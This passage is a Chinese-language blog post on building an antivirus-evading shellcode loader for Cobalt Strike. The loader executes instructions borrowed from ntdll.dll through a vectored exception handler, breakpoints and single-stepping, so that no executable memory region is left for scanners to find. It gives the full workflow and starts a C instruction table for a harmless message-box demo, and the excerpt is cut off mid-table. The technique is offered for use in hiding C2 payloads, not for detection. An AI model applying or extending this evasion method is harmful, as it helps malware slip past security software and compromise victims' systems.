前言
这里照常去做CS的免杀加载器的实现,因为用先有的c2框架是非常方便顺手,当然你自己开发的c2框架也行,肯定也有生成shellcode这个功能,也需要进行内存执行的需求。
今天要讲的这种原理是根据ntdll.dll先有的指令来执行我们的代码,恶意代码保存在于数据部分中,这种的好处是我们绕过了不可执行的内存保护,绕过了静态代码分析,这种技术有点pwn利用链的感觉,玩过的pwn都知道,我们去rop构造利用链的时候就是去找文件原有的汇编代码,通过地址来使用,达到我们想要组合利用的效果,这样的好处就是,我们运行的所有指令在内存中的地址都是分散的,起到对抗杀软内存扫描的效果,因为这种方式已经脱离了传统的分配可执行的内存空间,然后把shellcode放进去执行,没有可执行的分配内存区域可供扫描,免杀效果很好。
原理和准备
需要用的windows api
1.RtlAddVectoredExceptionHandler 这是用来添加自定义异常处理程序
工作流程:
1.创建一个包含我们要执行的所有汇编指令的数据结构。
- 在ntdll.dll的代码段中搜索上述每条指令并存储地址。
- 使用RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序
- 使用int 3 触发断点
- 程序现在已经进入了我们自定义的异常处理程序,存储原始线程上下文以供以后使用
- 将 EIP 寄存器设置为列表中的第一个目标指令(在ntdll.dll中)
- 如果当前指令是“调用”,则在调用后直接在指令上使用Dr0调试寄存器设置硬件断点——我们要“跳过”调用。否则,使用EFlags |= 0x100设置单步标志以中断下一条指令
- 更新当前指令所需的任何其他寄存器的值
- 使用EXCEPTION_CONTINUE_EXECUTION继续执行。下一条指令将引发另一个异常,我们将回到步骤 6 继续,直到所有指令都按顺序运行。
- 在所有目标指令执行完毕后,从步骤5恢复原始线程上下文以继续程序的原始流程。
简而言之,通过RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序,然后保存上下文,然后通过找到的汇编指令地址去执行,执行完毕后又引发异常处理程序,去执行其他指令,所有指令执行完毕之后,就直接恢复之前的保存的状态,而我们要执行的汇编指令是保存在结构体的。
参考代码(下面结构体保存着弹框的汇编代码实例):
代码语言:javascript复制InstructionEntryStruct Global_InstructionList[] =
{
// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
// 设置弹框titie "gammalab"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '